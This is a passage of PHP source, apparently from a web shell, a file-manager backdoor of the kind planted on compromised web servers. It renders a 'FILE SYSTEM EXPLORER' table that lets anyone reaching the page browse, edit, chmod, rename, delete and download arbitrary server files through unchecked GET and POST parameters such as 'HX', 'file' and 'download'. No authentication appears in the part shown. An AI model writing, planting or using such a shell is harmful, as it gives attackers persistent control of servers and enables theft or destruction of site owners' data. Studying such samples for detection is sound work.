1121
<h3 class="card-title" style="width:100%">Alter Chmod: '.htmlspecialchars(basename($file)).'</h3>
1122
<input type="text" name="new_perms" placeholder="e.g., 0755" required />
1123
<input type="submit" value="Change" class="btn-gold" />
1124
</form>';
1125
} elseif ($option == 'rename') {
1126
if (isset($_POST['new_name'])) {
1127
rename($file, dirname($file) . '/' . $_POST['new_name']);
1128
echo '<div class="status-msg status-success">Renamed successfully.</div>';
1129
}
1130
echo '<form method="post" class="flex-form">
1131
<h3 class="card-title" style="width:100%">Rename Scroll: '.htmlspecialchars(basename($file)).'</h3>
1132
<input type="text" name="new_name" placeholder="New Name" required />
1133
<input type="submit" value="Rename" class="btn-gold" />
1134
</form>';
1135
} elseif ($option == 'delete') {
1136
if (is_dir($file)) {
1137
rmdir($file);
1138
} else {
1139
unlink($file);
1140
}
1141
echo '<div class="status-msg status-error">File Deleted.</div>';
1142
}
1143
echo '</div>';
1144
}
1145
}
1146
1147
echo '<div class="card" style="padding: 0; overflow-x: auto;">';
1148
echo '<div class="card-title" style="padding: 22px 22px 10px 22px; margin:0;">FILE SYSTEM EXPLORER</div>';
1149
echo '<table>';
1150
echo '<tr><th>TYPE</th><th>NAME</th><th>SIZE (BYTES)</th><th>PERMISSIONS</th><th>ACTION</th></tr>';
1151
1152
$scandir = array_diff(scandir($HX), array('.', '..'));
1153
usort($scandir, function($a, $b) use ($HX) {
1154
$pathA = $HX . '/' . $a;
1155
$pathB = $HX . '/' . $b;
1156
if (is_dir($pathA) && !is_dir($pathB)) return -1;
1157
if (!is_dir($pathA) && is_dir($pathB)) return 1;
1158
return strcasecmp($a, $b);
1159
});
1160
1161
if (isset($_GET['search'])) {
1162
$search_query = strtolower($_GET['search']);
1163
$scandir = array_filter($scandir, function($file) use ($search_query) {
1164
return strpos(strtolower($file), $search_query) !== false;
1165
});
1166
}
1167
1168
foreach ($scandir as $item) {
1169
$path = "$HX/$item";
1170
$isDir = is_dir($path) ? '📁' : '📜';
1171
$size = is_file($path) ? number_format(filesize($path)) : '-';
1172
1173
$perms = @fileperms($path);
1174
if ($perms !== false) {
1175
$chmod_val = substr(sprintf('%o', $perms), -4);
1176
1177
$formated_perms = '';
1178
$formated_perms .= (($perms & 0x0100) ? 'r' : '-');
1179
$formated_perms .= (($perms & 0x0080) ? 'w' : '-');
1180
$formated_perms .= (($perms & 0x0040) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
1181
$formated_perms .= (($perms & 0x0020) ? 'r' : '-');
1182
$formated_perms .= (($perms & 0x0010) ? 'w' : '-');
1183
$formated_perms .= (($perms & 0x0008) ? (($perms & 0x0200) ? 's' : 'x' ) : (($perms & 0x0200) ? 'S' : '-'));
1184
$formated_perms .= (($perms & 0x0004) ? 'r' : '-');
1185
$formated_perms .= (($perms & 0x0002) ? 'w' : '-');
1186
$formated_perms .= (($perms & 0x0001) ? (($perms & 0x0100) ? 't' : 'x' ) : (($perms & 0x0100) ? 'T' : '-'));
1187
} else {
1188
$chmod_val = '????';
1189
$formated_perms = '---------';
1190
}
1191
1192
echo "<tr><td style='width: 40px; text-align:center;'>$isDir</td>";
1193
1194
if(is_dir($path)){
1195
echo "<td><a href=\"?HX=$path\" style='color:var(--neon-gold); font-weight:700;'>$item</a></td>";
1196
} else {
1197
echo "<td><a href=\"?option=view&file=$path&HX=$HX\">$item</a></td>";
1198
}
1199
1200
echo "<td style='color: var(--text-dim); width: 140px; font-family: \"JetBrains Mono\", monospace;'>$size</td>
1201
<td style='color: var(--blood-red); font-family:\"JetBrains Mono\", monospace; font-weight:600; width: 190px;'>$chmod_val <span style='color:var(--text-dim); font-weight:normal;'>&gt;&gt;</span> $formated_perms</td>
1202
<td class='actions' style='width: 320px;'>";
1203
1204
if (is_file($path)) {
1205
echo "<a href=\"?option=edit&file=$path&HX=$HX\" class='act-chmod' style='border-color:#00ffaa; color:#00ffaa;'>Edit</a>";
1206
}
1207
1208
echo "<a href=\"?option=chmod&file=$path&HX=$HX\" class='act-chmod'>Chmod</a>";
1209
echo "<a href=\"?option=rename&file=$path&HX=$HX\" class='act-rename'>Rename</a>";
1210
echo "<a href=\"?option=delete&file=$path&HX=$HX\" onclick=\"return confirm('Delete This File?')\" class='act-delete'>Delete</a>";
1211
echo "<a href=\"?download=$path\" class='act-download'>Download</a></td></tr>";
1212
}
1213
echo '</table></div>';
1214
1215
if (isset($_GET['download'])) {
1216
$file = $_GET['download'];
1217
if (file_exists($file) && is_file($file)) {
1218
header('Content-Description: File Transfer');
1219
header('Content-Type: application/octet-stream');
1220
header('Content-Disposition: attachment; filename='.basename($file));
1221
header('Expires: 0');
1222
header('Cache-Control: must-revalidate');
1223
header('Pragma: public');
1224
header('Content-Length: ' . filesize($file));
1225
ob_clean();
1226
flush();
1227
readfile($file);
1228
exit;
1229
} else {
1230
echo '<div class="status-msg status-error">Scroll not found.</div>';
1231
}
1232
}
1233
1234
echo '</div></body></html>';
1235
?>